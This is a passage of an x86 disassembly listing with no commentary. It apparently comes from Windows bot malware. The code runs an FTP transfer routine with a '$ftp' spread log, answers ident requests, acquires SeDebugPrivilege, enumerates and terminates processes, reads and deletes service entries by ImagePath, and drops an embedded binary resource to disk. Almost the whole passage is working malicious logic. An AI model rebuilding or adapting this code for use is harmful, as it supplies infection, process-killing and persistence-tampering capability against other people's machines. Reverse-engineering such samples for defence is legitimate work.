cl, cl mov eax, edx jz short loc_41DB4C mov edx, [esp+0C8h+var_A4+3] mov ecx, [esp+0C8h+var_AC] push eax mov eax, [esp+0CCh+var_A4+2] and edx, 0FFh push ecx mov ecx, [esp+0D0h+var_A4+1] push edx mov edx, [esp+0D4h+var_A4] and eax, 0FFh and ecx, 0FFh push eax and edx, 0FFh push ecx push edx push offset aFtpD_D_D_DDByt ; "$ftp -> %d.%d.%d.%d -> (%d bytes) (tota"... mov ecx, offset dword_4407F0 call sub_401479 push eax push 0 push 0 push offset byte_48873B call sub_40178F add esp, 2Ch loc_41DB4C: ; CODE XREF: sub_41D500+5F8j mov eax, [esp+0C8h+var_B0] push eax call ds:dword_4B3A94 mov ecx, [esp+0CCh+var_B8] add esp, 4 push ecx call ds:dword_4B3CA8 loc_41DB65: ; CODE XREF: sub_41D500+55Bj ; sub_41D500+566j mov edi, offset a226 ; "226 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a226 ; "226 \r\n" push esi call ebp push 0 lea edx, [esp+0E0h+arg_E4] push 800h push edx push esi call sub_40124E mov edi, offset a221 ; "221 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a221 ; "221 \r\n" push esi call ebp push esi call ds:dword_4B3CA8 lea ecx, [esp+0F0h+var_AC] mov byte ptr [esp+0F0h+arg_18D8], 2 call sub_4011F9 lea ecx, [esp+0F0h+var_64] mov byte ptr [esp+0F0h+arg_18D8], 1 call sub_4011F9 lea ecx, [esp+0F0h+var_7C] mov byte ptr [esp+0F0h+arg_18D8], 0 call sub_4011F9 lea ecx, [esp+0F0h+var_94] mov [esp+0F0h+arg_18D8], 0FFFFFFFFh call sub_4011F9 mov edi, [esp+0F0h+var_DC] loc_41DC06: ; CODE XREF: sub_41D500+109j push 9C4h loc_41DC0B: ; CODE XREF: sub_41D500+E8j call ds:dword_4B38CC loc_41DC11: ; CODE XREF: sub_41D500+140j mov al, ds:byte_499254 test al, al jnz loc_41D5D2 pop ebp pop ebx loc_41DC20: ; CODE XREF: sub_41D500+BEj mov eax, [edi+15h] push eax call ds:dword_4B3CA8 loc_41DC2A: ; CODE XREF: sub_41D500+82j ; sub_41D500+B2j mov ecx, [esp+0F0h+arg_18C8] pop edi xor eax, eax pop esi mov large fs:0, ecx add esp, 19C0h retn sub_41D500 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1E0h dup(0CCh) ; --------------------------------------------------------------------------- loc_41DE30: ; CODE XREF: _294ADE7B:00401203j push 0FFFFFFFFh push offset loc_434A50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 84h push ebx push ebp push esi push 71h call sub_4018A7 add esp, 4 cmp eax, 0FFFFFFFFh mov [esp+0Ch], eax jnz short loc_41DE6D mov ds:byte_4992A9, 0 jmp loc_41DFD1 ; --------------------------------------------------------------------------- loc_41DE6D: ; CODE XREF: _294ADE7B:0041DE5Fj mov cl, ds:byte_440113 xor ebx, ebx cmp cl, bl mov ds:byte_4992A9, 1 jnz loc_41DFC4 lea ecx, [esp+10h] push ecx push eax call sub_401E8D mov ebp, eax add esp, 8 cmp ebp, 0FFFFFFFFh jz loc_41DFB7 push edi lea ecx, [esp+24h] call sub_4013CF mov [esp+9Ch], ebx call sub_401DB1 mov esi, ds:dword_4B3A9C call esi cdq mov ecx, 3 push offset byte_43FDC8 idiv ecx lea ecx, [esp+28h] mov edi, edx add edi, 0Ah call sub_401564 cmp edi, ebx jle short loc_41DF36 loc_41DEDA: ; CODE XREF: _294ADE7B:0041DF34j lea ecx, [esp+3Ch] call sub_4013CF lea edx, [esp+24h] lea ecx, [esp+3Ch] push edx mov byte ptr [esp+0A0h], 1 call sub_401E65 call esi cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+3Ch] add edx, 61h push edx call sub_401726 push eax lea edx, [esp+2Ch] push offset dword_43BD58 push edx call sub_40102D add esp, 10h lea ecx, [esp+3Ch] mov [esp+9Ch], bl call sub_4011F9 dec edi jnz short loc_41DEDA loc_41DF36: ; CODE XREF: _294ADE7B:0041DED8j push 0Ah lea ecx, [esp+28h] call sub_40141A mov [eax], bl mov ecx, 10h xor eax, eax lea edi, [esp+54h] rep stosd lea ecx, [esp+24h] call sub_401726 push eax push 71h call esi cdq mov ecx, 1770h idiv ecx inc edx push edx lea edx, [esp+60h] push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n" push edx call ds:dword_4B3C18 add esp, 14h lea eax, [esp+54h] push ebx push 40h push eax push ebp call ds:dword_4B3C9C mov esi, ds:dword_4B3CA8 push ebp call esi lea ecx, [esp+24h] mov dword ptr [esp+9Ch], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+10h] push ecx call esi mov ds:byte_4992A9, bl pop edi jmp short loc_41DFCE ; --------------------------------------------------------------------------- loc_41DFB7: ; CODE XREF: _294ADE7B:0041DE97j push 7D0h call ds:dword_4B38CC jmp short loc_41DFD1 ; --------------------------------------------------------------------------- loc_41DFC4: ; CODE XREF: _294ADE7B:0041DE7Ej mov ebp, [esp+0Ch] mov esi, ds:dword_4B3CA8 loc_41DFCE: ; CODE XREF: _294ADE7B:0041DFB5j push ebp call esi loc_41DFD1: ; CODE XREF: _294ADE7B:0041DE68j ; _294ADE7B:0041DFC2j mov ecx, [esp+90h] pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 90h retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E060 proc near ; CODE XREF: sub_4019DDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax jz short loc_41E09B dec eax jz short loc_41E084 dec eax jnz short loc_41E0C1 mov ecx, ds:dword_4AFD18 mov ds:dword_4AFCFC, 4 call sub_401C9E jmp short loc_41E0C1 ; --------------------------------------------------------------------------- loc_41E084: ; CODE XREF: sub_41E060+8j mov ecx, ds:dword_4AFD18 mov ds:dword_4AFCFC, 7 call sub_401028 jmp short loc_41E0C1 ; --------------------------------------------------------------------------- loc_41E09B: ; CODE XREF: sub_41E060+5j mov ecx, ds:dword_4AFD18 xor eax, eax mov ds:dword_4AFD04, eax mov ds:dword_4AFCFC, 1 mov ds:dword_4AFD0C, eax mov ds:dword_4AFD10, eax call sub_4016A4 loc_41E0C1: ; CODE XREF: sub_41E060+Bj ; sub_41E060+22j ... mov eax, ds:dword_4AFD1C push offset dword_4AFCF8 push eax mov ds:dword_4AFCFC, 4 call ds:dword_4B3744 retn 4 sub_41E060 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41E100: ; CODE XREF: _294ADE7B:loc_40187Fj push esi xor esi, esi push offset sub_4019DD mov ecx, offset byte_4407A7 mov ds:dword_4AFCF8, 20h mov ds:dword_4AFCFC, 2 mov ds:dword_4AFD00, 3 mov ds:dword_4AFD04, esi mov ds:dword_4AFD08, esi mov ds:dword_4AFD0C, esi mov ds:dword_4AFD10, esi call sub_401726 push eax call ds:dword_4B3740 cmp eax, esi mov ds:dword_4AFD1C, eax jz short loc_41E17A push offset dword_4AFCF8 push eax mov ds:dword_4AFCFC, 4 mov ds:dword_4AFD0C, esi mov ds:dword_4AFD10, esi call ds:dword_4B3744 loc_41E17A: ; CODE XREF: _294ADE7B:0041E156j pop esi retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E1A0 proc near ; CODE XREF: sub_401064j push esi mov esi, ecx call sub_401D2F mov dword ptr [esi], offset off_43707C mov eax, esi pop esi retn sub_41E1A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E1D0 proc near ; CODE XREF: sub_401BBDj var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h sub esp, 110h mov ds:dword_4AFD18, ecx push 100h mov ecx, offset byte_4407A7 call sub_401726 push eax lea eax, [esp+118h+var_100] push eax call ds:dword_4B3AE0 add esp, 0Ch lea edx, [esp+110h+var_110] lea ecx, [esp+110h+var_100] xor eax, eax push edx mov [esp+114h+var_110], ecx mov [esp+114h+var_10C], offset loc_40187F mov [esp+114h+var_108], eax mov [esp+114h+var_104], eax call ds:dword_4B373C xor eax, eax add esp, 110h retn sub_41E1D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41E250: ; CODE XREF: _294ADE7B:00401B18j mov eax, [esp+4] push ebx push esi push edi push offset aWb ; "wb" push eax call ds:dword_4B3A90 mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41E272 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41E272: ; CODE XREF: _294ADE7B:0041E26Aj mov ecx, [esp+18h] push ecx call ds:dword_4B38C0 mov esi, eax test esi, esi jnz short loc_41E289 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41E289: ; CODE XREF: _294ADE7B:0041E281j mov edx, [esp+14h] push offset aBinres ; "BINRES" and edx, 0FFFFh push edx push esi call ds:dword_4B38FC mov edi, eax test edi, edi jnz short loc_41E2AC pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41E2AC: ; CODE XREF: _294ADE7B:0041E2A4j push ebp push edi push esi call ds:dword_4B3884 push edi push esi mov ebp, eax call ds:dword_4B3888 push ebp mov esi, eax call ds:dword_4B388C push ebx push esi push 1 push eax call ds:dword_4B3A78 push ebx call ds:dword_4B3A94 add esp, 14h mov al, 1 pop ebp pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E320 proc near ; CODE XREF: sub_4017C1j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call ds:dword_4B3CBC cmp eax, 0FFFFFFFFh jnz short loc_41E348 push esi call ds:dword_4B3CA4 test eax, eax jnz short loc_41E341 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41E341: ; CODE XREF: sub_41E320+1Aj mov eax, [eax+0Ch] mov ecx, [eax] mov eax, [ecx] loc_41E348: ; CODE XREF: sub_41E320+Fj pop esi retn sub_41E320 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E360 proc near ; CODE XREF: sub_4019ABj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push esi push 6 push 1 push 2 call ds:dword_4B3CAC mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41E37E or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41E37E: ; CODE XREF: sub_41E360+15j mov ecx, [esp+14h+arg_4] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax call ds:dword_4B3CB0 mov edx, [esp+14h+arg_0] mov word ptr [esp+14h+var_10+2], ax push edx call sub_4017C1 add esp, 4 mov [esp+14h+var_C], eax lea eax, [esp+14h+var_10] push 10h push eax push esi call ds:dword_4B3CB4 cmp eax, 0FFFFFFFFh jnz short loc_41E3DA push esi call ds:dword_4B3CA8 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41E3DA: ; CODE XREF: sub_41E360+69j mov eax, esi pop esi add esp, 10h retn sub_41E360 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E420 proc near ; CODE XREF: sub_4018A7j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi push 6 push 1 push 2 call ds:dword_4B3CAC mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41E43E or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41E43E: ; CODE XREF: sub_41E420+15j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax call ds:dword_4B3CB0 lea edx, [esp+14h+var_10] push 10h push edx push esi mov word ptr [esp+20h+var_10+2], ax mov [esp+20h+var_C], 0 call ds:dword_4B3C58 test eax, eax jz short loc_41E490 push esi call ds:dword_4B3CA8 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41E490: ; CODE XREF: sub_41E420+5Fj mov eax, esi pop esi add esp, 10h retn sub_41E420 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41E4C0: ; CODE XREF: _294ADE7B:004012A8j sub esp, 10h push esi mov esi, [esp+18h] push 0Ah push esi call ds:dword_4B3C54 cmp eax, 0FFFFFFFFh jz short loc_41E4F4 lea eax, [esp+18h] lea ecx, [esp+4] push eax push ecx push esi mov dword ptr [esp+24h], 10h call ds:dword_4B3C64 cmp eax, 0FFFFFFFFh jnz short loc_41E4F7 loc_41E4F4: ; CODE XREF: _294ADE7B:0041E4D4j or eax, 0FFFFFFFFh loc_41E4F7: ; CODE XREF: _294ADE7B:0041E4F2j pop esi add esp, 10h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E510 proc near ; CODE XREF: sub_401E8Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_41E546 mov esi, [esp+8+arg_0] push 0Ah push esi call ds:dword_4B3C54 cmp eax, 0FFFFFFFFh jz short loc_41E546 lea eax, [esp+8+arg_4] mov [esp+8+arg_4], 10h push eax push edi push esi call ds:dword_4B3C64 cmp eax, 0FFFFFFFFh jnz short loc_41E549 loc_41E546: ; CODE XREF: sub_41E510+8j ; sub_41E510+1Aj or eax, 0FFFFFFFFh loc_41E549: ; CODE XREF: sub_41E510+34j pop edi pop esi retn sub_41E510 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E560 proc near ; CODE XREF: sub_40157Dj var_42 = byte ptr -42h var_3E = byte ptr -3Eh var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_104 = byte ptr 108h arg_110 = byte ptr 114h arg_10DC = dword ptr 10E0h mov eax, 1114h call sub_430390 lea eax, [esp+arg_4] lea ecx, [esp+arg_110] push eax push 1000h push ecx mov byte ptr [esp+0Fh], 0 call sub_430AD4 test eax, eax jnz short loc_41E593 xor al, al add esp, 1114h retn ; --------------------------------------------------------------------------- loc_41E593: ; CODE XREF: sub_41E560+28j mov eax, [esp+0Ch+var_4] shr eax, 2 jz loc_41E65D push ebx mov ebx, ds:dword_4B387C push ebp push esi push edi lea ebp, [esp+1Ch+arg_104] mov [esp+1Ch+var_8], eax loc_41E5B5: ; CODE XREF: sub_41E560+F3j mov edi, offset aUnknown ; "unknown" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+1Ch+arg_0] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+0] push ecx push 0 push 411h call ebx mov esi, eax test esi, esi jz short loc_41E647 lea edx, [esp+28h+var_10] lea eax, [esp+28h+var_C] push edx push 4 push eax push esi call sub_430ACE test eax, eax jz short loc_41E640 mov edx, [esp+38h+var_1C] lea ecx, [esp+38h+var_18] push 104h push ecx push edx push esi call sub_430AC8 mov eax, [esp+48h+arg_10DC] lea ecx, [esp+48h+var_28] push eax push ecx call ds:dword_4B3AFC add esp, 8 test eax, eax jnz short loc_41E640 push eax push esi call ds:dword_4B3880 mov byte ptr [esp+13h], 1 loc_41E640: ; CODE XREF: sub_41E560+A2j ; sub_41E560+D1j push esi call ds:dword_4B38C8 loc_41E647: ; CODE XREF: sub_41E560+8Cj mov eax, [esp+14h] add ebp, 4 dec eax mov [esp+14h], eax jnz loc_41E5B5 pop edi pop esi pop ebp pop ebx loc_41E65D: ; CODE XREF: sub_41E560+3Aj mov al, [esp+3] add esp, 1114h retn sub_41E560 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E6C0 proc near ; CODE XREF: sub_40191Fj var_455 = byte ptr -455h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = byte ptr -44Ch var_43C = byte ptr -43Ch var_424 = byte ptr -424h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_41E6C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 44Ch push ebx push esi mov esi, [esp+460h+arg_0] lea ecx, [esp+460h+var_424] push esi call sub_4017A8 push eax mov [esp+464h+var_4], 0 call sub_401D57 add esp, 4 lea ecx, [esp+460h+var_424] mov bl, al mov [esp+460h+var_4], 0FFFFFFFFh call sub_4011F9 test bl, bl jz loc_41E83A lea ecx, [esp+460h+var_43C] call sub_4013CF push esi lea eax, [esp+464h+var_43C] mov ebx, 1 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax mov [esp+46Ch+var_4], ebx mov [esp+46Ch+var_454], 0 mov [esp+46Ch+var_450], 80h call sub_40102D add esp, 0Ch lea ecx, [esp+460h+var_454] push ecx push 20019h push 0 lea ecx, [esp+46Ch+var_43C] call sub_4015F5 push eax push 80000002h call ds:dword_4B3770 mov ecx, [esp+460h+var_454] lea edx, [esp+460h+var_450] lea eax, [esp+460h+var_40C] push edx push eax push 0 push 0 push offset aImagepath ; "ImagePath" push ecx call ds:dword_4B3738 lea edx, [esp+460h+var_455] lea eax, [esp+460h+var_40C] push edx push eax lea ecx, [esp+468h+var_44C] call ds:dword_4B39A4 mov ecx, ds:dword_4B39BC mov byte ptr [esp+460h+var_4], 2 mov edx, [ecx] lea ecx, [esp+460h+var_44C] push edx push offset asc_43BFF8 ; "\\" call ds:dword_4B39C0 inc eax lea ecx, [esp+460h+var_44C] push eax push 0 call ds:dword_4B399C lea ecx, [esp+460h+var_44C] call ds:dword_4B39A0 push eax call sub_40157D add esp, 4 lea ecx, [esp+460h+var_43C] call sub_4015F5 push eax call ds:dword_4B38D4 lea ecx, [esp+460h+var_44C] mov byte ptr [esp+460h+var_4], bl call ds:dword_4B39AC lea ecx, [esp+460h+var_43C] mov [esp+460h+var_4], 0FFFFFFFFh call sub_4011F9 mov al, bl pop esi pop ebx mov ecx, [esp+458h+var_C] mov large fs:0, ecx add esp, 458h retn ; --------------------------------------------------------------------------- loc_41E83A: ; CODE XREF: sub_41E6C0+5Aj mov ecx, [esp+460h+var_C] pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 458h retn sub_41E6C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E8D0 proc near ; CODE XREF: sub_401D57j var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push ebx push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call ds:dword_4B3758 mov ebx, eax test ebx, ebx jnz short loc_41E8F5 pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_41E8F5: ; CODE XREF: sub_41E8D0+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_401726 push eax push ebx call ds:dword_4B374C mov esi, eax test esi, esi jnz short loc_41E920 push ebx call ds:dword_4B3760 pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_41E920: ; CODE XREF: sub_41E8D0+3Fj push ebp push edi mov edi, ds:dword_4B3754 push esi call edi push esi call edi mov ebp, ds:dword_4B3750 lea eax, [esp+2Ch+var_1C] push eax push 1 push esi call ebp push esi call edi lea ecx, [esp+2Ch+var_1C] push ecx push 1 push esi call ebp push esi mov esi, ds:dword_4B3760 call esi push ebx call esi pop edi pop ebp pop esi mov al, 1 pop ebx add esp, 1Ch retn sub_41E8D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E9A0 proc near ; CODE XREF: sub_4017DAj var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 28h push ebx push ebp push esi lea eax, [esp+34h+var_28] push edi xor esi, esi push eax push esi push 28h xor bl, bl mov [esp+44h+var_24], 10h call ds:dword_4B3874 push eax call ds:dword_4B3720 mov ebp, ds:dword_4B3724 mov edi, ds:dword_4B38C8 test eax, eax jnz short loc_41E9F0 lea ecx, [esp+38h+var_28] push ecx push 28h call ds:dword_4B3878 push eax call ds:dword_4B3728 test eax, eax jz short loc_41EA4F loc_41E9F0: ; CODE XREF: sub_41E9A0+36j cmp [esp+38h+var_28], esi jz short loc_41EA53 lea edx, [esp+38h+var_1C] mov [esp+38h+var_20], 1 push edx push offset aSedebugprivile ; "SeDebugPrivilege" push esi mov [esp+44h+var_14], 2 call ds:dword_4B3734 lea eax, [esp+38h+var_24] lea ecx, [esp+38h+var_10] push eax mov eax, [esp+3Ch+var_28] push ecx lea edx, [esp+40h+var_20] push 10h push edx push esi push eax call ebp test eax, eax jz short loc_41EA48 call ds:dword_4B3898 cmp eax, 514h jnz short loc_41EA53 mov ecx, [esp+38h+var_28] push ecx jmp short loc_41EA4D ; --------------------------------------------------------------------------- loc_41EA48: ; CODE XREF: sub_41E9A0+92j mov edx, [esp+38h+var_28] push edx loc_41EA4D: ; CODE XREF: sub_41E9A0+A6j call edi loc_41EA4F: ; CODE XREF: sub_41E9A0+4Ej mov [esp+38h+var_28], esi loc_41EA53: ; CODE XREF: sub_41E9A0+54j ; sub_41E9A0+9Fj mov eax, [esp+38h+arg_0] push eax push esi push 411h call ds:dword_4B387C mov esi, eax test esi, esi jz short loc_41EA78 push 0 push esi call ds:dword_4B3880 push esi mov bl, 1 call edi loc_41EA78: ; CODE XREF: sub_41E9A0+C8j mov eax, [esp+38h+var_28] test eax, eax jz short loc_41EA97 push 0 push 0 lea ecx, [esp+40h+var_10] push 10h push ecx push 0 push eax call ebp mov edx, [esp+38h+var_28] push edx call edi loc_41EA97: ; CODE XREF: sub_41E9A0+DEj pop edi pop esi mov al, bl pop ebp pop ebx add esp, 28h retn sub_41E9A0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EB00 proc near ; CODE XREF: sub_4011AEj var_68 = dword ptr -68h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_F4 = byte ptr 0F8h arg_100 = byte ptr 104h arg_10C4 = dword ptr 10C8h arg_10D0 = dword ptr 10D4h arg_1104 = dword ptr 1108h arg_1118 = dword ptr 111Ch mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41EB00 push eax mov eax, 1130h mov large fs:0, esp call sub_430390 push esi push offset aPsapi_dll ; "PSAPI.DLL" call ds:dword_4B38C0 test eax, eax mov ds:dword_4AFD20, eax jnz short loc_41EB4C push offset aPsapi_dll ; "PSAPI.DLL" call ds:dword_4B38A4 test eax, eax mov ds:dword_4AFD20, eax jz loc_41ECCA loc_41EB4C: ; CODE XREF: sub_41EB00+32j mov esi, ds:dword_4B38A8 push offset aEnumprocesses ; "EnumProcesses" push eax call esi mov ds:dword_4AFD24, eax mov eax, ds:dword_4AFD20 push offset aEnumprocessmod ; "EnumProcessModules" push eax call esi mov ecx, ds:dword_4AFD20 push offset aGetmodulefilen ; "GetModuleFileNameExA" push ecx mov ds:dword_4AFD28, eax call esi mov ecx, ds:dword_4AFD24 mov ds:dword_4AFD2C, eax test ecx, ecx jz loc_41ECCA mov edx, ds:dword_4AFD28 test edx, edx jz loc_41ECCA test eax, eax jz loc_41ECCA lea edx, [esp+30h+var_28] lea eax, [esp+30h+arg_100] push edx push 1000h push eax call ecx test eax, eax jz loc_41ECCA mov ecx, dword ptr ds:aUnknown ; "unknown" mov eax, dword ptr ds:aUnknown+4 mov edx, [esp+3Ch+var_34] push edi mov [esp+40h+var_C], ecx mov [esp+40h+var_8], eax mov ecx, 3Fh mov eax, 0 lea edi, [esp+40h+var_4] shr edx, 2 rep stosd jz loc_41ECB1 push ebx mov ebx, [esp+44h+arg_1104] push ebp mov ebp, ds:dword_4B387C lea edi, [esp+48h+arg_F4] mov [esp+48h+var_38], edx loc_41EC0F: ; CODE XREF: sub_41EB00+1A9j mov ecx, [edi] push ecx push 0 push 410h call ebp mov esi, eax test esi, esi jz short loc_41EC9D lea edx, [esp+54h+var_38] lea eax, [esp+54h+var_3C] push edx push 4 push eax push esi call ds:dword_4AFD28 test eax, eax jz short loc_41EC96 mov edx, [esp+64h+var_4C] lea ecx, [esp+64h+var_28] push 104h push ecx push edx push esi call ds:dword_4AFD2C lea ecx, [esp+74h+var_54] call sub_4017AD lea eax, [esp+74h+var_38] lea ecx, [esp+74h+var_54] push eax mov [esp+78h+arg_10D0], 0 call sub_401564 mov ecx, [edi] lea edx, [esp+74h+var_54] mov [esp+35h], ecx push edx mov ecx, ebx call sub_401FDC lea ecx, [esp+74h+var_54] mov [esp+74h+arg_10D0], 0FFFFFFFFh call sub_40198D loc_41EC96: ; CODE XREF: sub_41EB00+136j push esi call ds:dword_4B38C8 loc_41EC9D: ; CODE XREF: sub_41EB00+11Fj mov eax, [esp+78h+var_68] add edi, 4 dec eax mov [esp+78h+var_68], eax jnz loc_41EC0F pop ebp pop ebx loc_41ECB1: ; CODE XREF: sub_41EB00+EFj pop edi mov al, 1 pop esi mov ecx, [esp+68h+arg_10C4] mov large fs:0, ecx add esp, 113Ch retn ; --------------------------------------------------------------------------- loc_41ECCA: ; CODE XREF: sub_41EB00+46j ; sub_41EB00+8Cj ... mov ecx, [esp+18h+arg_1118] xor al, al pop esi mov large fs:0, ecx add esp, 113Ch retn sub_41EB00 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41ED70 proc near ; CODE XREF: sub_4017ADj push esi mov esi, ecx call sub_4013CF mov eax, esi pop esi retn sub_41ED70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41ED90 proc near ; CODE XREF: sub_40198Dj jmp sub_4011F9 sub_41ED90 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EDB0 proc near ; CODE XREF: sub_401FB9j var_518 = byte ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_4F8 = byte ptr -4F8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4CC = dword ptr -4CCh var_4C8 = dword ptr -4C8h var_4C4 = dword ptr -4C4h var_4C0 = dword ptr -4C0h var_4BC = dword ptr -4BCh var_4B8 = dword ptr -4B8h var_4B4 = dword ptr -4B4h var_4B0 = dword ptr -4B0h var_4AC = dword ptr -4ACh var_4A8 = dword ptr -4A8h var_4A4 = dword ptr -4A4h var_4A0 = dword ptr -4A0h var_49C = dword ptr -49Ch var_498 = dword ptr -498h var_494 = dword ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_430 = byte ptr -430h var_41C = byte ptr -41Ch var_408 = byte ptr -408h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_41EDB0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 50Ch push ebx push ebp xor ebx, ebx push 80000000h push ebx push ebx call ds:dword_4B3758 mov ebp, eax cmp ebp, ebx mov [esp+520h+var_500], ebp jnz short loc_41EDFF pop ebp xor al, al pop ebx 